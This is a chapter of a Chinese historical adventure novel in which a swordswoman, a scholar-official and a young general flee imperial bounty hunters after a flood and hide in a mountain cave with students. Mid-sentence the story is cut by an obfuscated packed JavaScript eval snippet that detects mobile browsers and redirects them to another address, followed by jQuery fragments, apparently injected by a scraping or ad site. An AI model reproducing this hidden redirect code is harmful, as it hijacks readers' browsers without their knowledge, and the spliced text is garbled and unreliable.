“菩萨保佑。”


    相隔万里，古寺的飞檐斗拱下，铜铃正发出清脆声响。


    桂枝儿一身劲装，跪倒在佛殿前的蒲团上。


    女子身姿挺拔，即便跪地也难掩飒爽。她双手交叠，手上有舞刀弄枪留下的薄茧。


    她缓缓低头，额头轻触蒲团，露出的后颈线条清晰有力。


    “女侠信佛法？”谢鸢跪在一旁问道。


    桂枝儿摇摇头，起身时干脆利落，带着几分随性。


    “只不过谢佛祖这几日借宝地庇佑我等。”她笑了笑，“否则咱们说不定已经被洪水冲回杭京，自投罗网了。”


    谢鸢听着有趣，嘴角微微上扬，绽出一抹清浅的笑。


    “灾区重建一事，小谢公子已安排妥当否？”桂枝儿挑了挑眉。


    他们顶着朝廷委派督察的名头，不能长期赖在蠡县不走。


    眼下洪水退去，也该各奔东西。


    “与那县令交代过了。”谢鸢垂眸，双手徐徐合十。


    “未及时修缮堤防致大祸，他作为主司理应被夺职。”他娓娓道来。


    “鉴于罕见大雨、河水改道等外因，兼之转移救灾有力，功过相抵。”


    打一巴掌给个甜枣。


    在小谢公子的威逼恐吓下，蠡县县令捣头如蒜。


    “大人放心，灾区重建乃当务之急，关乎百姓生计与社稷安稳，下官定当殚精竭虑！”


    县令扯着皱巴巴的官服，两撇稀疏的胡须摇摇欲坠。


    仿佛生怕督台大人反悔，要了他的小命。


    论小谢公子的处事之能，桂枝儿毫无疑虑。


    “文官执笔安天下，武将马上定乾坤。”她掐指一算，“樾王有你两位得力干将，繁荣镇北指日可待？”


    桂枝儿眨了两下眼，表情诚恳。


    亏她还以为小谢公子是谢家弃子，曾略施恻隐之心。


    合着只有她自己被蒙在鼓里！


    谢鸢抬手摸了摸鼻子。


    于寺庙蹉跎几日，他一袭月白锦袍依旧淡雅，此刻面对诘问，如玉的面庞却泛起了一层淡淡红晕。


    他没有反驳，只是下意识地垂眸，那浓密卷翘的睫毛，如受惊的蛱蝶般微微颤动。


    不知是在着急，还是在心虚。


    狗男人不可信啊……


    桂枝儿回忆起柳千金的忠告，笑道：“不谈政事，倒是忘记问小谢公子了，千金姐姐在楚淮可好？”


    不问不要紧。


    一问才知道，柳千金接了封信，已动身返回北境。


    “啊？”桂枝儿这下更是丈二和尚摸不着头脑。


    她想不明白。


    花魁娘子好不容易脱离苦海，为何又原路返回呢？


    “看来二位聊得很投缘。”


    栾小将军牵着雪影大踏步走来。


    少年身材挺拔，习武之人走得稳，配上那张脸，令人赏心悦目。


    “镇北易帜的消息已八百里急报传到京城，咱们该动身了。”


    他不着痕迹地将桂枝儿与谢鸢隔开，白驹也乖巧地停住，轻轻甩动一下尾巴。


    “耽搁公子雅兴了。”栾霜柏歉意一笑。


    防小谢公子跟防贼一样。


    不明就里的人，估计会以为——新旧两任驸马为争裕和公主产生过龌龊。


    桂枝儿被自己的想法逗笑了。


    “姑娘笑什么？”


    “女侠为何发笑？”


    二人再次异口同声。


    “咳。”桂枝儿伸手指向古寺墙头，“看，小猫打架。”


    夏日午后日光暖煦，古寺的黄墙被镀上一层金边，不知从何跑来觅食的两只狸花猫狭路相逢。


    一方弓起脊背，炸毛发出“呜呜”声宣告主权。


    另一方则挥舞爪子，将墙头的瓦松撞得东倒西歪。


    然而这是逃亡路上最后的惬意。


    离开蠡县，换快马绕武进道后，一行人狼狈不堪。


    朝廷将通缉悬赏传檄各地官府。


    首当其冲是“叛国通敌”的准驸马栾霜柏——凡能提供准确线索，协助朝廷捕获其者，赏银千两。


    若能直接将其擒获扭送至官府者，赏金万两，并赐良田百亩。


    “竟不知小将军身价如此贵！”桂枝儿缩在山洞一隅歇息。


    烈日似火，深山老林宛如蒸笼，汗水湿透她的衣衫，贴在身上又黏又腻。


    耳畔蚊虫嗡嗡作响。


    栾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036243|144601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霜柏慵懒地躺在山洞门口望风，一只胳膊枕在脑后，另一只手执宽大的芭蕉叶扇风。


    “不敢当。”他骄傲地扬了扬头，坦然接受了桂枝儿的赞誉。


    繁茂的枝叶层叠，将骄阳剪切成细碎光影。


    “居然让我等归案自首，保证既往不咎，可笑！”书生们挥动着手臂，试图驱赶这些恼人的蚊虫。


    可脸上、手臂上还是留下了一个个红肿的包块，瘙痒难耐。


    “定是留命作筹码，来要挟家乡的父老乡亲。”书生们经过科举舞弊案这一遭历练，不再天真。


    造反之事，开弓没有回头箭。


    众人靠闲聊放松紧绷的神经，也强忍着痛楚。


    因长时间骑行，不少人大腿内侧表皮已有大面积擦伤，甚至隐隐可见密密麻麻的血丝，边缘还泛着青紫色。


    纤细娇弱的女学子，强忍住泪水。


    在京城时，她春闱答卷十分顺畅，本以为有望取得名次。


    岂料朝廷弃他们普通学子如敝履，置而不问，连个公道都不肯给。


    遭洪水，遇追兵。


    这一路走来，她愈发理解了木犀先生，也就是桂小娘子曾经的教导。


    “学贵致用，万万不可拘泥于书本。若想投身政途，需先察民生之疾苦，晓社稷之利弊。”


    “先生，北境的樾王殿下，也会兴科举吗？”女书生问出了心中期盼。


    她不愿放弃，想以所学之理造福黎民百姓。


    这还用得着问？


    桂枝儿打了个哈欠，洞口落入的阳光刺得她眼眸微眯。


    樾王殿下那个老狐狸，若非想直接招揽一批有文化的青年才俊，怎会费功夫安排暗卫带他们脱险。


    “嘘，有动静！”栾霜柏耳尖轻动，从地上一跃而起。


    众人瞬间屏住呼吸，掌心冒汗。


    树木间似乎传来了细微的摩擦，“沙沙沙”声不断。


    像是有人马正拨开茂密的枝叶和灌木，小心翼翼地靠近。


    紧接着，哒哒的马蹄音也来凑热闹，一下又一下，充满压迫感的节奏敲击在人心上。


    栾霜柏横起红缨枪，身姿微微下沉，蓄势待发。


    来者是敌是友？